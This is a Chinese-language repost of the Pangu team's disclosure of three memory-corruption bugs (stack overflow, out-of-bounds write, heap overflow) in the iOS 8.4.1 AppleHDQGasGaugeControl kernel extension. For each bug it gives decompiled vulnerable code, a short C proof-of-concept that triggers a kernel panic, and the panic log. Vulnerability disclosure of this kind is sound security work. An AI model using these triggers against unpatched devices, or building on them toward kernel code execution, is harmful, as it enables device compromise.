昨天,中国首个成功越狱iOS的团队盘古团队披露了3个存在于iOS 8.4.1的内核扩展处的漏洞:一个堆栈溢出的Bug、一个越界的内存访问Bug、一个堆叠溢位的Bug。其中一个“完美”的漏洞可攻破所有内核防护并实现代码执行。
“当执行 iOS 内核审查的时候,我们发现 com.apple.driver.AppleHDQGasGaugeControl
的编码质量非常糟糕。在这个博客中,我们将会公开 3 个在 iOS 8.4.1 内核扩展中发现的 3 个漏洞。更重要的是,其中一个 bug
是属于堆叠溢位,它可以允许我们击败所有内核缓解方法并获得内核中的执行代码,只需“完美”利用这单个的漏洞即可。”
selector 7的功能中堆栈溢出漏洞
该处理函数需要3个输入标量和1个输出标量。下面的代码显示了可能出现堆栈溢出,因为没有限制的inputScalar[1]。如果inputScalar[1]是一个非常大的数字,循环将损坏堆栈。
int v17; // [sp+0h] [bp-3Ch]@5 int v18; // [sp+10h] [bp-2Ch]@25 if ( inputScalar[1] ) { v10 = 0; do { v11 = -64; if ( (1 << v10) & inputScalar[0] ) v11 = -2; *((_BYTE *)&v17 + v10++) = v11; // v17 is on the stack } while ( inputScalar[1] != v10 ); }
这个POC非常简单的。我们试图在第一次打开服务,并调用panic1功能触发栈溢出。
void panic1(io_connect_t connection) { uint64_t inputScalar[3]; uint64_t outputScalar[1] = {0}; uint32_t outputCnt = 1; inputScalar[0] = 0xF000000; inputScalar[1] = 0xF000000; inputScalar[2] = 0xF000000; IOConnectCallMethod(connection, 7, inputScalar, 3, NULL, 0, outputScalar, &outputCnt, NULL, NULL); } int main(int argc, const char * argv[]) { CFMutableDictionaryRef matching = IOServiceMatching("AppleHDQGasGaugeControl"); io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); io_connect_t connection; kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connection); if(KERN_SUCCESS == kr){ panic1(connection); } return 0; }
PANIC LOG
panic(cpu 1 caller 0x950b8e95): kernel abort type 4: fault_type=0x3, fault_addr=0x93034000 r0: 0x000004ac r1: 0x00000001 r2: 0x93033b54 r3: 0xffffffc0 r4: 0x0f000000 r5: 0x971ddc00 r6: 0x0f000000 r7: 0x93033b90 r8: 0x93033bd0 r9: 0x145d1371 r10: 0x0f000000 r11: 0x9540a390 r12: 0x00f42400 sp: 0x93033b54 lr: 0x95ccffcb pc: 0x95ccfeda cpsr: 0x60000033 fsr: 0x00000807 far: 0x93034000 Debugger message: panic OS version: 12H321 Kernel version: Darwin Kernel Version 14.0.0: Wed Aug 5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X Kernel slide: 0x0000000015000000 Kernel text base: 0x95001000 Boot : 0x55eebb5c 0x00000000 Sleep : 0x00000000 0x00000000 Wake : 0x00000000 0x00000000 Calendar: 0x55eebbf2 0x000413c9 Panicked task 0xb6d20318: 247 pages, 1 threads: pid 180: m1 panicked thread: 0x813f75e0, backtrace: 0x93033820 0x950b5cc9 0x950b6061 0x9501ee2b 0x950b8e95 0x950b1800 0xc0c0c0c0 <------ the stack is corrupted 0x00000000
selector 14出现内存越界访问漏洞
该处理函数不占用任何录入内存,而是将处理共享内存。如在我们的黑帽大会上所讨论的,这很容易通过呼叫IOConnect存储器,以控制该共享内存中的内容。通过检查启动功能,我们将看到如何在驱动程序初始化时共享内存。
v8 = (IOBufferMemoryDescriptor *)IOBufferMemoryDescriptor::withOptions(0x10000, 4096, 1); *(_DWORD *)(v2 + 100) = v8; if ( v8 ) { mapAddr = (void *)(*(_DWORD (__cdecl **)(IOBufferMemoryDescriptor *))(*(_DWORD *)v8 + 220))(v8); *(_DWORD *)(v2 + 104) = mapAddr; // object+104 stores the memory address bzero_130(mapAddr, 0x1000u); *(_DWORD *)(*(_DWORD *)(v2 + 104) + 20) = 339; // memory+20 stores the total count
实际上,存储器用于存储数据,每个元件的阵列为12字节。所以4KB内存可容纳339个元件。那么让我们来进一步检查函数如何处理与共享内存。
mapAddr = *(_DWORD *)(self + 104); // get memory address of share memory // mod 339 to get position for writing v9 = sub_80CF4A20(*(_QWORD *)(mapAddr + 16), *(_QWORD *)(mapAddr + 16) >> 32); v10 = v9; v11 = mapAddr + 12 * v9 // v11 may point outside the memory *(_BYTE *)(v11 + 28) = v7; v11 += 28; *(_BYTE *)(v11 + 3) = BYTE3(v7); *(_BYTE *)(v11 + 2) = (unsigned int)v7 >> 16; *(_BYTE *)(v11 + 1) = BYTE1(v7); *(_QWORD *)(v11 + 4) = *(_QWORD *)(mapAddr + 8); // writing with controlled source
问题是,该驱动程序信任存储在共享存储器中的总计数,并且该数目可以很容易地进行修改。因此,如果我们能够知道的内存地址(这可能需要一些其他的信息泄露漏洞),我们可以使V11指向任何12字节对齐的内核地址。然后我们可以把DWORD修改成我们想要的任何值。
void panic2(io_connect_t connection) { vm_address_t address = 0; vm_size_t vmsize = 4096; kern_return_t kr = IOConnectMapMemory(connection, 0, mach_task_self(), &address, &vmsize, kIOMapAnywhere); if (kr != KERN_SUCCESS || vmsize != 4096) { return; } *(uint32_t *)(address + 16) = 0xAAAAAAA; *(uint32_t *)(address + 20) = 0; // change 339 to 0 IOConnectCallMethod(connection, 14, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);
PANIC LOG
panic(cpu 1 caller 0x908b8e95): kernel abort type 4: fault_type=0x3, fault_addr=0x5f33b014 r0: 0x00000000 r1: 0xdf33b000 r2: 0x5f33aff8 r3: 0x00000000 r4: 0x0aaaaaaa r5: 0x929abe40 r6: 0x00000001 r7: 0xddf43ba4 r8: 0x0000009e r9: 0x068e5372 r10: 0x00000000 r11: 0x0000009e r12: 0x00f42400 sp: 0xddf43b60 lr: 0x00000000 pc: 0x914d04c6 cpsr: 0x80000033 fsr: 0x00000805 far: 0x5f33b014 Debugger message: panic OS version: 12H321 Kernel version: Darwin Kernel Version 14.0.0: Wed Aug 5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X Kernel slide: 0x0000000010800000 Kernel text base: 0x90801000 Boot : 0x55eeb77c 0x00000000 Sleep : 0x00000000 0x00000000 Wake : 0x00000000 0x00000000 Calendar: 0x55eeb8b0 0x00004a05
注:共享内存的偏移量是在32位内核情况下。
selector 12堆叠溢位漏洞
此处理功能的录入是一个标量数和一个结构。此外,它需要输入标量[0]<=3(inputStructSize及7)== 0,让我们看一下bug的代码。
v5 = a1; if ( inputSize ) { v6 = (char *)inputStruct + 4; v7 = 0; v8 = 0; while ( 1 ) { v9 = (int)&v6[8 * v8]; v10 = *(_BYTE *)(v9 + 3); v11 = *(_BYTE *)(v9 + 1); v12 = *(_BYTE *)(v9 + 2); result = 0xE00002C2; v14 = (unsigned __int8)v6[8 * v8] | (v11 << 8) | ((v12 | (v10 << 8)) << 16); if ( v14 > 19 ) { if ( v14 != 20 ) return result; v15 = 32; } else { v15 = 4; if ( (unsigned int)v14 >= 3 && v14 != 10 ) { if ( v14 != -1 ) return result; goto LABEL_12; // break if -1 is found, at this time v8 < inputSize } } ++v8; v7 += v15; if ( v8 >= inputSize ) goto LABEL_12; // break normally with v8 == inputSize } } v7 = 0; v8 = 0; LABEL_12: v16 = (void *)IOMalloc_130(8 * v8); // memory size is 8*v8 *(_DWORD *)(v5 + 8) = v16; if ( v16 ) { memmove_130(v16, inputStruct, 8 * inputSize); // heap overflow when v8 < inputSize result = 0; *(_DWORD *)v5 = v8; *(_DWORD *)(v5 + 4) = v7; }
通过这个代码,我们将看到它检查录入结构,每8个字节,并采取-1作为结束。然后将其按照大小可能比实际输入结构较小。但当复制内存,它再次使用真正的输入大小,从而导致堆溢出。
这是一个我们可以完美控制的漏洞:
- 堆的大小要溢出,这意味着你可以选择任何的kalloc区攻击
- 的大小和数据的内容的堆后覆盖
我们在这里给出一个简单的POC。
void panic3(io_connect_t connection) { uint64_t inputScalar[1]; uint8_t structData[1024]; uint32_t structSize = 1024; inputScalar[0] = 0; memset(structData, 0x88, sizeof(structData)); *(uint32_t *)&structData[4] = 1; *(uint32_t *)&structData[4+8] = 0xFFFFFFFF; // indicate end IOConnectCallMethod(connection, 12, inputScalar, 1, structData, structSize, NULL, NULL, NULL, NULL); }
PANIC LOG
panic(cpu 0 caller 0x95a47d41): "a freed zone element has been modified in zone kalloc.8: expected 0xf66f1cb2 but found 0x88888888, bits changed 0x7ee7943a, at offset 4 of 8 in element 0xbce83c08, cookies 0x7ee7943a 0x7ed803f9" Debugger message: panic OS version: 12H321 Kernel version: Darwin Kernel Version 14.0.0: Wed Aug 5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X Kernel slide: 0x0000000015a00000 Kernel text base: 0x95a01000 Boot : 0x55eeb9ec 0x00000000 Sleep : 0x00000000 0x00000000 Wake : 0x00000000 0x00000000 Calendar: 0x55eebb50 0x000d2a69
需要注意的是这些漏洞不能在沙箱内触发。并且盘古已经确认,第2和第3个漏洞在iOS9 beta5中已经修复。
*参考来源:pangu, 转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)